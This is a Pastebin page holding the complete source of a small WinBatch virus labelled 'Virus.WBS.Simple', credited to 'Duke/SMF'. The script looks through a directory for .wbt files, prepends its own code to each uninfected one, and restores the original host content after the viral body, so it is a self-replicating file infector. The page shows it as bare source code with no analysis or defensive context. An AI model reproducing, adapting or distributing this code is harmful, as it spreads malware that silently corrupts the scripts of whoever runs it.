Advertisement
FlyFar

Virus.WBS.Simple - Source Code

Jun 11th, 2023
2,049
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Winbatch 1.23 KB | Cybersecurity | 0 0
  1. ;WB.Simple
  2. ;(c) by Duke/SMF
  3. IntControl(29, @tab, 0, 0, 0)
  4. ErrorMode(@OFF)
  5. Viral = ""
  6. AllWBT = FileItemize("*.wbt")
  7. For i = 1 to ItemCount(AllWBT, @tab)
  8.    OneWBT = ItemExtract(i, AllWBT, @tab)
  9.    Size=FileSize(OneWBT)
  10.    MarkBuffer = BinaryAlloc(Size+100)
  11.    BinaryRead(MarkBuffer, OneWBT)
  12.    If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then
  13.       Viral = OneWBT
  14.       Break
  15.    End If
  16. Next i
  17. If Viral != OneWBT Then EXIT
  18. For w = 1 To ItemCount(AllWBT, @tab)
  19.    OneWBT = ItemExtract(w, AllWBT, @tab)
  20.    Size=FileSize(OneWBT)
  21.    MarkBuffer = BinaryAlloc(Size+100)
  22.    BinaryRead(MarkBuffer, OneWBT)
  23.    If BinaryPeekStr(MarkBuffer, 0, 10) == ";WB.Simple" then Goto Infected
  24.    FileCopy(OneWBT,"C:\TEMP.WBT",0)
  25.    virus = FileOpen(Viral, "READ")
  26.    host = FileOpen(OneWBT, "WRITE")
  27.    While @TRUE
  28.       x = FileRead(virus)
  29.       FileWrite(host, x)
  30.       If x == "EXIT ;SIMPLE" Then Break
  31.    EndWhile
  32.    FileClose(virus)
  33.    FileClose(host)
  34.    temp = FileOpen("C:\TEMP.WBT", "READ")
  35.    Size=FileSize("C:\TEMP.WBT")
  36.    MarkBuffer = BinaryAlloc(FileSize("C:\TEMP.WBT")+100)
  37.    BinaryRead(MarkBuffer, "C:\TEMP.WBT")
  38.    BinaryWriteEx(MarkBuffer, 0, OneWBT, 1258, Size)
  39.    FileDelete(temp)
  40. :Infected
  41. Next w
  42. EXIT ;SIMPLE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement